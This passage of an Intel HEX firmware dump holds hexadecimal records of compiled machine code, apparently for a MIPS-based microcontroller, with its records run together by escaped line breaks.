8\n:10a130002118400000a0023cd8574224041243ac2e\n:10a140001800c29321204000bcbf400f0000000057\n:10a15000ff00433000a0023cd8574224031243a022\n:10a1600021e8c0031400bf8f1000be8f1800bd2768\n:10a170000800e00300000000d8ffbd272400bfafa7\n:10a180002000beaf21f0a0032800c4af2110a00022\n:10a190003000c6af2c00c2a32800c28f000042804e\n:10a1a0000e0040140000000000a0023cd85742906e\n:10a1b00005004014000000002c00c2931000c2a350\n:10a1c00081e8400b0000000000a0023cd8574290fc\n:10a1d0001000c2a381e8400b000000002800c48fdb\n:10a1e00052bf400f000000001000c2a31000c29335\n:10a1f000040040140000000021100000efe8400bb4\n:10a200000000000000a0023cdc564224870042907f\n:10a210001000c3930a006214000000001000c293f3\n:10a22000212040003de8400f0000000000a0023c5b\n:10a23000d8574224010040a0a7e8400b00000000ce\n:10a240002c00c3931000c29300a0043cdc1c8424a7\n:10a250002128600021304000fb26410f0000000053\n:10a260000b004010000000001000c29321204000ad\n:10a270003de8400f0000000000a0023cd8574224f7\n:10a280002c00c393010043a0a7e8400b000000008e\n:10a2900021100000efe8400b000000002c00c293ea\n:10a2a00000a0033cda5764243000c58f2130400001\n:10a2b00069c5400f000000000400401400000000c9\n:10a2c00021100000efe8400b000000001000c293d6\n:10a2d0001400c3272120600021284000cb25410f16\n:10a2e00000000000340040100000000000a0023c0c\n:10a2f000d85742240412438c1400c28f1800620005\n:10a3000012180000821003000002432400a0023c47\n:10a31000d857422421106200030044242c00c39328\n:10a320001000c2932128600021304000fb26410f1d\n:10a330000000000004004014000000002110000094\n:10a34000efe8400b000000001000c2931800c32784\n:10a3500021206000212840000826410f0000000055\n:10a36000150040100000000000a0023cd857422415\n:10a370000412438c1800c28f1800620012180000eb\n:10a38000821003000002432400a0023cd85742245c\n:10a39000211062000300432400a0023cd8574290e1\n:10a3a0002120600000a0033cda57652421304000e2\n:10a3b00004c6400f000000000100022421e8c00391\n:10a3c0002400bf8f2000be8f2800bd270800e003b7\n:10a3d00000000000d8fdbd272402bfaf2002beafa1\n:10a3e00021f0a0032802c4af2c02c5af1100c0a306\n:10a3f0002802c28f000042801000401400000000bc\n:10a4000000a0023cd8574290070040140000000012\n:10a4100000a0023cdc564224870042901000c2a3f8\n:10a4200019e9400b0000000000a0023cd857429000\n:10a430001000c2a319e9400b000000002802c48fdd\n:10a4400052bf400f000000001000c2a31000c293d2\n:10a45000040040140000000021100000c7e9400b78\n:10a46000000000001400c22721204000f82b410ffb\n:10a470000000000004004014000000002110000053\n:10a48000c7e9400b000000001000c29321204000eb\n:10a490003de8400f0000000000a0023cdc564224d2\n:10a4a000870042901000c3934e0062140000000029\n:10a4b00000a0023cd8574224010040a02120000007\n:10a4c00000a0023cdc1c45242c02c68fde50410f4c\n:10a4d00000000000070040140000000021200000e0\n:10a4e00000a0023cdc1c45242c02c68f5a54410fac\n:10a4f000000000001400c22700a0033cda576424c7\n:10a50000212840007f49410f0000000000a0023ccc\n:10a51000d857422403124290040040140000000067\n:10a5200001000224c7e9400b000000001200c0a394\n:10a530006fe9400b000000001200c39300a0023c32\n:10a54000d85742240412428c1800620012180000ee\n:10a55000821003000002432400a0023cd85742248a\n:10a5600021106200030044241200c3931200c2931e\n:10a570002128600021304000cc43410f0000000042\n:10a5800009004014000000001200c293059d033c26\n:10a59000dc3e6424212840008513410f00000000a8\n:10a5a0006ce9400b00000000010002241100c2a36e\n:10a5b0001200c293010042241200c2a300a0023c78\n:10a5c000d8574224031242901200c3932b1062000a\n:10a5d000d9ff4014000000001100c293c7e9400bee\n:10a5e0000000000000a0023cdc564224870043909b\n:10a5f00000a0023cd8574224010043a01400c22707\n:10a6000000a0033cda576424212840007f49410f11\n:10a61000000000001000c2931802c3272120600030\n:10a6200021284000cb25410f000000000900401008\n:10a63000000000001000c2931c02c327212060000c\n:10a64000212840000826410f0000000004004014ab\n:10a650000000000021100000c7e9400b00000000ce\n:10a6600000a0023cd85742240412438c1802c28f27\n:10a670001800620012180000821003000002432438\n:10a6800000a0023cd8574224211062000300442459\n:10a6900000a0023cdc564224870042902118400072\n:10a6a0001000c2932128600021304000fb26410f9a\n:10a6b0000000000004004014000000002110000011\n:10a6c000c7e9400b0000000000a0023cd85742241c\n:10a6d0000412438c1c02c28f180062001218000082\n:10a6e000821003000002432400a0023cd8574224f9\n:10a6f000211062000300432400a0023cd85742907e\n:10a700002120600000a0033cda576524213040007e\n:10a7100004c6400f000000000100022421e8c0032d\n:10a720002402bf8f2002be8f2802bd270800e0034d\n:10a7300000000000e0fdbd271c02bfaf1802beaf45\n:10a7400021f0a0032002c4af00a0023cd8574290e1\n:10a75000040040140000000021100000fbe9400b41\n:10a760000000000000a0023cd857422401004290a3\n:10a77000060040140000000000a0023cd8574290a0\n:10a780001000c2a3e7e9400b0000000000a0023c5b\n:10a79000d8574224010042901000c2a31000c29377\n:10a7a0001400c3272120600000a0033cda57652471\n:10a7b000213040007e2c410f0000000004004014b6\n:10a7c0000000000021100000fbe9400b0000000029\n:10a7d0001000c3931400c2272002c48f21286000f8\n:10a7e000213040005ee8400f0000000021e8c00377\n:10a7f0001c02bf8f1802be8f2002bd270800e00395\n:10a8000000000000d8fcbd272403bfaf2003beaf6b\n:10a8100021f0a0032803c4af1400c0af00a0023c85\n:10a820002002c427dc564324fc00022421286000b7\n:10a8300021304000494a410f0000000000a0023cc6\n:10a84000dc5642248700439000a0023cd857429037\n:10a85000130062100000000000a0023cd857429094\n:10a8600021204000abc0400f000000000c0040144d\n:10a870000000000000a0023cdc5644242002c32754\n:10a88000fc0002242128600021304000494a410f89\n:10a89000000000002110000062eb400b00000000ef\n:10a8a0001c00c22721204000f82b410f00000000af\n:10a8b0001c00c2271000c48f212840002803c68f27\n:10a8c000de50410f000000001400c2af1400c28f20\n:10a8d00008004014000000001c00c2271000c48fb4\n:10a8e000212840002803c68f5a54410f0000000061\n:10a8f0001400c2af00a0023cdc5642248700429004\n:10a900001800c3272120600021284000cb25410fdb\n:10a9100000000000040040140000000021100000ae\n:10a9200062eb400b0000000000a0023cdc56422419\n:10a9300087004390080002243900621000000000e4\n:10a9400000a0023cd85742240412428c821002001c\n:10a950001000c327211062000c0040a000a0023ca0\n:10a96000dc564224870042902118400000a0023c9f\n:10a97000dc564224870042901c00c4272128600036\n:10a9800021304000fb26410f000000000c00401465\n:10a990000000000000a0023cdc5644242002c32733\n:10a9a000fc0002242128600021304000494a410f68\n:10a9b000000000002110000062eb400b00000000ce\n:10a9c0001800c38f1c00c2272120600021284000ee\n:10a9d000010006244048410f000000000c00401414\n:10a9e0000000000000a0023cdc5644242002c327e3\n:10a9f000fc0002242128600021304000494a410f18\n:10aa0000000000002110000062eb400b000000007d\n:10aa10001c00c22721204000f82b410f000000003d\n:10aa200000a0023cd85742240412428c821002003b\n:10aa30001000c327211062000c0040a01000c0af1e\n:10aa4000fdea400b000000001800c28f1000c38f09\n:10aa5000650062100000000000a0023cd8574224ac\n:10aa60000412438c1000c28f180062001210000004\n:10aa70008218020000a0023cd85742242110620034\n:10aa80000302429058004010000000001000c28fe6\n:10aa9000070040140000000000a0023cdc564224e5\n:10aaa00087004390080002244f006210000000005d\n:10aab00000a0023cdc564224870043900800022498\n:10aac00012006210000000001c00c2271000c48f9a\n:10aad000212840002803c68fde50410f00000000ef\n:10aae0001400c2af1400c28f080040140000000020\n:10aaf0001c00c2271000c48f212840002803c68fe5\n:10ab00005a54410f000000001400c2af00a0023ce4\n:10ab1000d85742240412438c1000c28f18006200e0\n:10ab200012180000821003000002432400a0023c1f\n:10ab3000d8574224211062000300432400a0023ca5\n:10ab4000d85742240412428c821002001c00c427f1\n:10ab50002128600021304000494a410f00000000d8\n:10ab6000059d023cec3e44241000c58f8513410f27\n:10ab7000000000001c00c227059d033ca03e642489\n:10ab8000212840002013410f000000001c00c227b4\n:10ab90001000c48f21284000010006244048410fc6\n:10aba000000000001000401400000000059d023c61\n:10abb000a03e4424059d023cf43e45242013410f51\n:10abc000000000001400c28f0700401400000000c5\n:10abd000059d023ca03e4424059d023c003f4524c7\n:10abe0002013410f000000001000c28f010042241a\n:10abf0001000c2af00a0023cd8574224031242907a\n:10ac0000211840001000c28f2b1043008eff40140b\n:10ac10000000000000a0023cdc5642248700439064\n:10ac2000080002240f006210000000001c00c22770\n:10ac30001000c48f212840002803c68fde50410f2a\n:10ac40000000000007004014000000001c00c227a4\n:10ac50001000c48f212840002803c68f5a54410f8a\n:10ac60000000000000a0023cd85742240412428c8d\n:10ac7000821002001000c327211062000c0040a0c7\n:10ac800000a0023cd85742240412438c1800c28f03\n:10ac90001800620012180000821003000002432412\n:10aca00000a0023cd8574224211062000300432434\n:10acb00000a0023cd85742240412428c82100200a9\n:10acc0001c00c4272128600021304000494a410f60\n:10acd000000000001800c28f059d033c103f642453\n:10ace000212840008513410f000000001c00c227ee\n:10acf000059d033ca03e6424212840002013410f01\n:10ad0000000000001800c38f1c00c2272120600033\n:10ad100021284000213000004048410f0000000081\n:10ad20000e0040140000000000a0023cdc56442449\n:10ad30002002c327fc0002242128600021304000ab\n:10ad4000494a410f00000000e00c410f00000000e4\n:10ad50002110000062eb400b0000000000a0023c4c\n:10ad6000dc5644242002c327fc0002242128600072\n:10ad700021304000494a410f00000000e00c410f23\n:10ad8000000000000100022421e8c0032403bf8f5b\n:10ad90002003be8f2803bd270800e0030000000049\n:10ada000d8ffbd272400bfaf2000beaf1c00b0af4e\n:10adb00021f0a0032800c4af2c00c5af2c00c48f25\n:10adc000a34a410f000000008010020000a0033cd5\n:10add000d857632403126390212060002800c38f9a\n:10ade0002320830000a0033cd85763240412638c03\n:10adf00018008300121800002b1062000900401494\n:10ae00000000000000a0023cd857422403124290e8\n:10ae1000211840002800c28f2b104300040040146a\n:10ae20000000000021100000fdeb400b00000000be\n:10ae300000a0023cd8574224010042902c00401050\n:10ae40000000000000a0023cd85742901000c32729\n:10ae500021206000212840000826410f000000004a\n:10ae600023004010000000002c00c48fa34a410fb3\n:10ae7000000000008018020000a0023cd8574224c5\n:10ae80000412428c1b006200f4014000101000000c\n:10ae9000121800002800c28f21106200ffff50240a\n:10aea00000a0023cd85742240100429021204000db\n:10aeb00006c0400f000000002118400000a0023c26\n:10aec000d85742240412428c1b006200f401400057\n:10aed00010100000121000002b1050000400401051\n:10aee0000000000021100000fdeb400b00000000fe\n:10aef00000a0023cd85742240412438c2800c28f81\n:10af00001800620012200000821004000002432496\n:10af100000a0023cd85742242110620003005024b4\n:10af20002c00c48fa34a410f000000002120000222\n:10af30002c00c58f21304000494a410f000000001d\n:10af400000a0023cd8574224010042902800401043\n:10af50000000000000a0023cd85742901000c32718\n:10af600021206000212840000826410f0000000039\n:10af70001f0040100000000000a0023cd8574224ef\n:10af80000412438c1000c28f1800620012180000d7\n:10af9000821003000002432400a0023cd857422440\n:10afa000211062000300432400a0023cd857422431\n:10afb0000412448c00a0023cd85742240312429051\n:10afc000212840001000c28f2310a2001800820028\n:10afd000122000008210040000a0043cda578424f0\n:10afe0002128600021304000494a410f0000000044\n:10aff0000100022421e8c0032400bf8f2000be8f7f\n:10b000001c00b08f2800bd270800e00300000000ee\n:10b01000e8ffbd271400bfaf1000beaf21f0a003b2\n:10b02000571d410f0000000021e8c0031400bf8f2e\n:10b030001000be8f1800bd270800e00300000000cc\n:10b04000f8ffbd270400beaf21f0a00301000224d9\n:10b0500021e8c0030400be8f0800bd270800e003fc\n:10b0600000000000e0ffbd271c00bfaf1800beaf0e\n:10b0700021f0a00388bf033c206162940442027c5b\n:10b08000206162a400a0023cf4174424ff000524c0\n:10b09000210006246551410f000000000200042435\n:10b0a0003a1c410f0000000088bf033c60606294be\n:10b0b00001000424444a827c606062a4748080a3fe\n:10b0c000708080af788080af7c8080af6c8080a300\n:10b0d0006881828fc0100200801802002110430096\n:10b0e000801802002110430000190200231862009a\n:10b0f00000110300231843007081828f1b0062003f\n:10b10000f40140001010000012100000ffff423058\n:10b110001000c2af020004243a1c410f00000000de\n:10b1200080bf033c0060629401000424c47b827ce5\n:10b13000006062a4020004243a1c410f00000000d9\n:10b1400080bf033c0032629401000424c47b827cf3\n:10b15000003262a480bf033c000862940100042412\n:10b16000c47b827c000862a4020004243a1c410fc4\n:10b170000000000088bf033c2061629401000424a9\n:10b180000442827c206162a46c808293211840007a\n:10b1900000a0023cf4174224211862001000c28f64\n:10b1a000ffff42302120600021284000a61c410ff3\n:10b1b000000000000f004010000000006c8082932f\n:10b1c00001004224ff0042306c8082a36c80839394\n:10b1d0002100022403006214000000007eec400bfa\n:10b1e00000000000802502241000c2af62ec400b7a\n:10b1f00000000000000000006c8082930300422cdd\n:10b20000e40040140000000000a0023cf4174224b7\n:10b21000010042901500c2a3020002241400c2a340\n:10b220004b8180a34b8182935c8182a35c8182935a\n:10b230005f8182a35f8182934a8182a34c8180a334\n:10b240004c8182935d8182a35d818293618182a31f\n:10b2500061818293498182a34d8180a34d81829334\n:10b260005e8182a35e818293608182a360818293ea\n:10b27000488182a31500c293100042300a0040109a\n:10b28000000000001400c293010043241400c3a373\n:10b290002118400000a0023cf41742242110620053\n:10b2a000000042904a8182a31500c29320004230e0\n:10b2b0000a004010000000001400c2930100432463\n:10b2c0001400c3a32118400000a0023cf41742243c\n:10b2d00021106200000042905f8182a31500c2939a\n:10b2e000400042300a004010000000001400c293e9\n:10b2f000010043241400c3a32118400000a0023c15\n:10b30000f417422421106200000042905c8182a365\n:10b310001500c2830a004104000000001400c2931b\n:10b32000010043241400c3a32118400000a0023ce4\n:10b33000f417422421106200000042904b8182a346\n:10b340004b818293f00042307c00401000000000ee\n:10b350004b818293100042300a0040100000000030\n:10b360001400c293010043241400c3a32118400019\n:10b3700000a0023cf4174224211062000000429019\n:10b38000498182a34b818293200042300a00401001\n:10b39000000000001400c293010043241400c3a362\n:10b3a0002118400000a0023cf41742242110620042\n:10b3b00000004290618182a34b8182934000423021\n:10b3c0000a004010000000001400c2930100432452\n:10b3d0001400c3a32118400000a0023cf41742242b\n:10b3e00021106200000042905d8182a34b81829314\n:10b3f0002014027c0a004104000000001400c293e3\n:10b40000010043241400c3a32118400000a0023c03\n:10b41000f417422421106200000042904c8182a364\n:10b420004c818293f0004230440040100000000044\n:10b430004c8182931000423019004010000000003f\n:10b440001400c293010043241400c3a32118400038\n:10b4500000a0023cf4174224211062000000429038\n:10b46000488182a3488182931000422c0500401439\n:10b470000000000048818393ff000224080062144a\n:10b480000000000094ee400f0000000008000224bd\n:10b490007c8082af211000006bed400b00000000ab\n:10b4a0004c818293200042300a00401000000000ce\n:10b4b0001400c293010043241400c3a321184000c8\n:10b4c00000a0023cf41742242110620000004290c8\n:10b4d000608182a34c818293400042300a00401078\n:10b4e000000000001400c293010043241400c3a311\n:10b4f0002118400000a0023cf417422421106200f1\n:10b50000000042905e8182a34c8182932014027cd1\n:10b510000a004104000000001400c293010043240b\n:10b520001400c3a32118400000a0023cf4174224d9\n:10b5300021106200000042904d8182a31500c29349\n:10b540000f004230ff004230748082a374808293e7\n:10b5500007004010000000001400c39300a0023c4c\n:10b56000f4174224211062005ded400b0000000042\n:10b5700021100000708082af61ef400f00000000da\n:10b5800001000224788082af010002246bed400ba1\n:10b5900000000000020002247c8082af788080af2f\n:10b5a00094ee400f000000002110000021e8c003cd\n:10b5b0001c00bf8f1800be8f2000bd270800e003cd\n:10b5c00000000000c0ffbd273c00bfaf3800beaf89\n:10b5d0003400b5af3000b4af2c00b3af2800b2af29\n:10b5e0002400b1af2000b0af21f0a0034000c4aff1\n:10b5f0001c00c0a31d00c0a31e00c0a31000022495\n:10b600001100c2a3020002241200c2a303000224fc\n:10b610001300c2a31400c0a36881828fb700033c4b\n:10b62000001b63341b006200f40140001010000096\n:10b63000121000001800c2af1000c0a3aded400b07\n:10b64000000000004000c28f01004224000043902f\n:10b650001100c29324106200ff0042300f0040101e\n:10b66000000000001300c293010042241300c2a393\n:10b670001000c2931200c3934000c48f21188300ae\n:10b68000000063901000c427211082000c0043a02a\n:10b690001200c293010042241200c2a31100c293ff\n:10b6a000401002001100c2a31000c2930100422406\n:10b6b0001000c2a31000c2930300422ce1ff40140b\n:10b6c00000000000448180a37880838f0100022461\n:10b6d00005006214000000004b818293100042308c\n:10b6e00004004010000000002110000078ee400b24\n:10b6f000000000001000c0a3cced400b00000000d3\n:10b700001800c48f1d1c410f000000001000c293e0\n:10b71000010043241000c3a34000c38f2110620026\n:10b7200000004290212040004f1c410f000000000b\n:10b730001300c293ffff43241300c3a3f0ff401480\n:10b74000000000001000c0a31000c39350818227a6\n:10b75000211062002120400080250524a61c410ff5\n:10b76000000000000b004010000000001000c29319\n:10b77000010042241000c2a31000c393070002245a\n:10b780000b006214000000002110000078ee400b56\n:10b7900000000000000000001000c2930300422cd3\n:10b7a0008e00401400000000eeed400b0000000091\n:10b7b000d2ed400b0000000050818393ff00022473\n:10b7c00086006214000000004000c28f0100422485\n:10b7d000000042902118400051818293261062009f\n:10b7e0000f0042307d0040140000000002000224df\n:10b7f0001100c2a351818293100042300e0040100c\n:10b80000000000001100c3935081822721106200c4\n:10b81000000043901c00c29304006210000000006e\n:10b820002110000078ee400b000000001100c293d0\n:10b83000010042241100c2a35181829320004230b2\n:10b840000e004010000000001100c39350818227b9\n:10b8500021106200000043901d00c293040062109a\n:10b86000000000002110000078ee400b00000000f6\n:10b870001100c293010042241100c2a3518182939e\n:10b88000400042300b004010000000001100c39344\n:10b890005081822721106200000043901e00c29355\n:10b8a00004006210000000002110000078ee400b40\n:10b8b000000000001400c0a31100c0a33bee400b29\n:10b8c000000000001100c393508182272110620004\n:10b8d000000043901400c293261062001400c2a31b\n:10b8e0001100c293010042241100c2a31100c393ae\n:10b8f0001000c2932b106200f2ff40140000000001\n:10b900001400c29304004010000000002110000049\n:10b9100078ee400b0000000051818293100042300d\n:10b920002900401000000000528182932120400035\n:10b93000b6ee400f000000007081828f2190400021\n:10b94000219800001480829321804000218800000b\n:10b9500002107072180032021218000021204300f9\n:10b96000190050021210000010180000212083005e\n:10b970002118800015808493212880001080848ff6\n:10b980001800a40012a0000021a8000021204000ff\n:10b9900021286000213080022138a0020733410fa6\n:10b9a00000000000130040001100600012100000b1\n:10b9b00010180000688182af241d410f00000000b4\n:10b9c00061ef400f000000001000c293448182a389\n:10b9d0000100022478ee400b00000000211000005e\n:10b9e00021e8c0033c00bf8f3800be8f3400b58f04\n:10b9f0003000b48f2c00b38f2800b28f2400b18f99\n:10ba00002000b08f4000bd270800e00300000000c8\n:10ba1000f8ffbd270400beaf21f0a0037880838f1c\n:10ba2000010002240400621400000000140002243b\n:10ba30008fee400b000000001e00022421e8c0032e\n:10ba40000400be8f0800bd270800e00300000000ce\n:10ba5000e8ffbd271400bfaf1000beaf21f0a00368\n:10ba600088bf033c206162940442027c206162a48e\n:10ba7000010004243a1c410f0000000080bf033c79\n:10ba800000326294c47b027c003262a480bf033c1b\n:10ba900000086294c47b027c000862a480bf023c60\n:10baa000100840ac471d410f0000000088bf033c58\n:10bab00060606294444a027c606062a4788080afd7\n:10bac00021e8c0031400bf8f1000be8f1800bd27ef\n:10bad0000800e00300000000f0ffbd270c00beaf2f\n:10bae00021f0a003211080001000c2a31000c29317\n:10baf0000f0042300000c2a301000224148082a380\n:10bb000001000224158082a30000c2931000432c80\n:10bb10004d0060100000000080180200049d023cef\n:10bb200034bb4224211062000000428c0800400017\n:10bb30000000000044bc039d44bc039d74bb039df6\n:10bb400084bb039d94bb039da4bb039db4bb039d19\n:10bb500044bc039dc4bb039dd4bb039de4bb039db8\n:10bb6000f4bb039d04bc039d14bc039d24bc039d36\n:10bb700034bc039d02000224148082a312ef400b08\n:10bb80000000000004000224148082a312ef400b86\n:10bb90000000000008000224148082a312ef400b72\n:10bba0000000000010000224148082a312ef400b5a\n:10bbb0000000000020000224148082a312ef400b3a\n:10bbc000000000000c000224148082a312ef400b3e\n:10bbd0000000000014000224148082a312ef400b26\n:10bbe0000000000002000224158082a312ef400b27\n:10bbf0000000000004000224158082a312ef400b15\n:10bc00000000000008000224158082a312ef400b00\n:10bc10000000000010000224158082a312ef400be8\n:10bc20000000000020000224158082a312ef400bc8\n:10bc30000000000040000224158082a312ef400b98\n:10bc400000000000000000001000c293021102007a\n:10bc50000000c2a374010224108082af0000c293ce\n:10bc60001000432c42006010000000008018020009\n:10bc7000049d023c88bc4224211062000000428cda\n:10bc800008004000000000006cbd039d6cbd039dda\n:10bc9000c8bc039dd8bc039de8bc039df8bc039db4\n:10bca00008bd039d6cbd039d6cbd039d18bd039d28\n:10bcb00028bd039d38bd039d48bd039d58bd039d10\n:10bcc0006cbd039d6cbd039d2e020224108082afcb\n:10bcd0005cef400b00000000e8020224108082affd\n:10bce0005cef400b000000005c040224108082af77\n:10bcf0005cef400b00000000d0050224108082aff2\n:10bd00005cef400b0000000044070224108082af6b\n:10bd10005cef400b0000000000020224108082afa4\n:10bd20005cef400b0000000000030224108082af93\n:10bd30005cef400b0000000000040224108082af82\n:10bd40005cef400b0000000000060224108082af70\n:10bd50005cef400b0000000000080224108082af5e\n:10bd6000000000005cef400b00000000000000003d\n:10bd700021e8c0030c00be8f1000bd270800e003bf\n:10bd800000000000f0ffbd270c00beaf21f0a003b3\n:10bd90005c818393ff000224050062100000000014\n:10bda0005c8182930c004224ffff4230468182a7cf\n:10bdb0004b8182930f004330010002240b00621478\n:10bdc000000000005c818393ff00022405006214e0\n:10bdd000000000000b000224468182a799ef400b6f\n:10bde0000000000099ef400b000000005c8183938d\n:10bdf000ff00022403006214000000000c00022473\n:10be0000468182a74b81829340004230050040105a\n:10be1000000000005d8182930000c2a38bef400b05\n:10be2000000000000a0002240000c2a30000c39327\n:10be3000148082931800620012100000801102002a\n:10be40000019020023186200158082931b00620013\n:10be5000f40140001010000012100000648182af55\n:10be600000000000468182972120400021108000c0\n:10be7000c010020040190200231862008011030064\n:10be800023104300211044008011020021184000bb\n:10be90006881828f1b006200f401400010100000d6\n:10bea00012100000588182af21e8c0030c00be8f41\n:10beb0001000bd270800e00300000000d8ffbd27e8\n:10bec0002400bfaf2000beaf21f0a0032800c4af04\n:10bed0002c00c5af3000c6af1000c0a72800c28f2d\n:10bee000050042901200c2a72800c28f04004290b1\n:10bef0001600c2a32800c28f010042901700c2a3ff\n:10bf00001500c0a37880838f010002240600621010\n:10bf100000000000030002247c8082af211000009a\n:10bf2000adf0400b000000002c00c48f2128000061\n:10bf3000040006246551410f000000002800c28f54\n:10bf40001800c2af1400c0a3e2ef400b00000000d5\n:10bf50001400c2931800c38f2110620000004290a9\n:10bf6000212040004f1c410f000000005881828fab\n:10bf7000212040001d1c410f000000001400c2934e\n:10bf8000010042241400c2a31400c2930400422cf6\n:10bf9000efff4014000000001600c293070040109d\n:10bfa000000000001600c293212040004f1c410fea\n:10bfb00000000000feef400b000000001200c297de\n:10bfc00008004010000000001200c297ff0042303d\n:10bfd000212040004f1c410f00000000feef400bed\n:10bfe00000000000212000004f1c410f0000000055\n:10bff000000102241200c2a76481828fffff423039\n:10c000001c00c3272120600021284000a61c410fee\n:10c01000000000000600401400000000040002249c\n:10c020007c8082af21100000adf0400b00000000ca\n:10c030001c00c393600002249c00621000000000fa\n:10c040001c00c293f000433060000224060062101e\n:10c05000000000001c00c293f00043309000022456\n:10c060001c006214000000001c00c3932c00c28f4f\n:10c07000020043a06481828fffff42301c00c3276f\n:10c080002120600021284000a61c410f0000000074\n:10c090000b004010000000001c00c3932c00c28f56\n:10c0a000030043a0000000002c00c28f1000c397c3\n:10c0b000000043a401000224adf0400b000000008a\n:10c0c000040002247c8082af21100000adf0400b00\n:10c0d000000000001c00c2931700c39342006214ca\n:10c0e000000000001500c3931600c2932b106200dd\n:10c0f0001c004010000000005881828f2120400069\n:10c100001d1c410f0000000052f0400b0000000019\n:10c110001500c2933000c38f2110620000004290ce\n:10c12000212040004f1c410f000000005881828fe9\n:10c13000212040001d1c410f000000001500c2938b\n:10c14000010042241500c2a31500c3931600c29338\n:10c150002b106200eeff401400000000feef400bc9\n:10c160000000000073f0400b000000006481828f2b\n:10c17000ffff42301c00c32721206000212840001f\n:10c18000a61c410f000000000b0040100000000042\n:10c190001000c2973000c38f211062001c00c393af\n:10c1a000000043a01000c297010042241000c2a763\n:10c1b00073f0400b00000000040002247c8082af7a\n:10c1c00021100000adf0400b000000001000c397ec\n:10c1d0001200c2972b106200e4ff40140000000020\n:10c1e000feef400b000000001c00c293211840002d\n:10c1f0001700c293271002002c00621400000000f8\n:10c200001500c3931600c2932b106200100040105b\n:10c21000000000005881828f212040001d1c410f2a\n:10c22000000000001500c293010043241500c3a3c1\n:10c230003000c38f21106200000042902120400096\n:10c240004f1c410f00000000abf0400b000000004d\n:10c250006481828fffff42301c00c32721206000d1\n:10c2600021284000a61c410f000000000a004010d9\n:10c27000000000001000c297010043241000c3a773\n:10c280003000c38f211062001c00c393000043a044\n:10c29000abf0400b00000000040002247c8082af61\n:10c2a00021100000adf0400b00000000feef400b3d\n:10c2b0000000000021e8c0032400bf8f2000be8fd3\n:10c2c0002800bd270800e0030000000000e85d41f1\n:10c2d00000701b4002601a40e0ffbd271c00bbaf8e\n:10c2e00000601b401400baaf1800bbaf44781b7c41\n:10c2f00000187b3700609b400400a3af0000a2af92\n:10c300001400a38f0f0063300300601400000000ce\n:10c310000c00beaf0800a4af0000000021f0a00395\n:10c3200088bf023c4000033c341043ac88bf033c50\n:10c33000206162944408027c206162a43080828f74\n:10c340000300401000000000308080af3c8280afce\n:10c350003c82828f010042243c8282afa080829383\n:10c360000900432ca80060100000000080180200a3\n:10c37000049d023c88c34224211062000000428ccc\n:10c38000080040000000000014c6039dacc3039ddc\n:10c39000e4c3039d38c4039d90c4039dc8c4039d9a\n:10c3a00010c5039dd0c5039d14c6039d88bf033ce3\n:10c3b0002061629401000424444a827c206162a4ca\n:10c3c00088bf033ca0616294444a027ca06162a4dd\n:10c3d000008180af02000224a08082a386f1400b7e\n:10c3e000000000000081828f01004324008183afa0\n:10c3f000b480838f2b104300030040100000000026\n:10c4000086f1400b00000000b880828f05004010cc\n:10c410000000000088bf033c20616294444a027c13\n:10c42000206162a4008180af03000224a08082a367\n:10c4300086f1400b000000000081828f0100432440\n:10c44000008183afb880838f2b104300030040101e\n:10c450000000000086f1400b000000001880828f71\n:10c46000000043902a000224050062100000000032\n:10c4700004000224a08082a386f1400b000000008b\n:10c4800008000224a08082a386f1400b0000000077\n:10c4900088bf033c2061629401000424444a827cea\n:10c4a000206162a488bf033ca0616294444a027c7c\n:10c4b000a06162a4008180af05000224a08082a355\n:10c4c00086f1400b000000000081828f01004324b0\n:10c4d000008183afa880838f2b104300030040109e\n:10c4e0000000000086f1400b0000000088bf033c04\n:10c4f00020616294444a027c206162a4008180af82\n:10c5000006000224a08082a386f1400b00000000f8\n:10c510001880828f000043902a00022406006214d3\n:10c520000000000007000224a08082a3008180afe9\n:10c5300086f1400b000000001880828f00004290be\n:10c5400005004010000000000081838fb080828fc2\n:10c5500009006210000000001880828f00004290e5\n:10c5600016004014000000000081838fac80828f91\n:10c57000120062140000000088bf033c2061629436\n:10c5800001000424444a827c206162a488bf033ce9\n:10c59000a0616294444a027ca06162a41880828fe8\n:10c5a00001004224188082af008180af0500022480\n:10c5b000a08082a386f1400b000000000081828fe2\n:10c5c00001004224008182af86f1400b0000000090\n:10c5d0000081828f01004324008183afc480838f58\n:10c5e0002b104300030040100000000086f1400bb8\n:10c5f00000000000008180af08000224a08082a318\n:10c6000086f1400b000000000000000086f1400ba6\n:10c61000000000000000000021e8c0031400a28f09\n:10c620000f00423005004014000000000c00be8fd7\n:10c630000800a48f0400a38f0000a28f0000000058\n:10c6400000606041c00000001c00ba8f1800bb8f62\n:10c6500000709a401400ba8f2000bd2702609a40f3\n:10c6600000e8dd4100609b401800004200e85d41a9\n:10c6700000701b4002601a40d8ffbd2700601b40bd\n:10c680002000baaf2400bbaf44781b7c001c7b3772\n:10c6900000609b400400a3af0000a2af2000a38f66\n:10c6a0000f00633003006014000000000c00beaff8\n:10c6b0000800a4af00000000121000001400a2af98\n:10c6c000101800001000a3af21f0a00388bf023ca7\n:10c6d00000100324341043ac0c8283932a000224fc\n:10c6e00024006214000000009080828f1900401422\n:10c6f000000000002482828fffff4324248283af46\n:10c70000140040140000000088bf023c0010032405\n:10c71000641043ac88bf023c681040ac80bf023c50\n:10c72000000a40ac88bf033c2061629401000424ed\n:10c730000400827c206162a4048180af88bf033c36\n:10c74000a0616294444a027ca06162a4c7f2400bdb\n:10c75000000000002082828f188282af1882828fb0\n:10c7600001004324188283af000042900c8282a310\n:10c77000048180af0481828f01004224048182af52\n:10c7800084808293040043280900601000000000a8\n:10c79000020043285e006010000000000100032436\n:10c7a0000800431000000000c7f2400b000000002a\n:10c7b00004000324ad00431000000000c7f2400b4a\n:10c7c000000000000d828293211840000481828fb6\n:10c7d0001d0062140000000000a0023cdc56422450\n:10c7e000cc00428c0d0040140000000000a0023c70\n:10c7f000dc564224c400428c1300401000000000ac\n:10c800000c8282932118400000a0023cdc56422496\n:10c81000c800428c0c0062100000000088bf023c7f\n:10c82000a061428c000242300100422cff004430e3\n:10c8300088bf033ca0616294444a827ca06162a4e8\n:10c8400036f2400b0000000000a0023cdc564224ff\n:10c85000c400428c13004010000000000481838f4c\n:10c860002c82828f1b006200f40140001010000037\n:10c87000190040100000000088bf023ca061428cfb\n:10c88000000242300100422cff00443088bf033ccc\n:10c89000a0616294444a827ca06162a436f2400b9b\n:10c8a0000000000000a0023cdc564224c800428c7c\n:10c8b000ff0043300c82829326106200ff0042305a\n:10c8c00001004230ff00443088bf033ca061629405\n:10c8d000444a827ca06162a40481838f2c82828f6f\n:10c8e00009006214000000001882828f01004324b6\n:10c8f000188283af000042900c8282a3048180a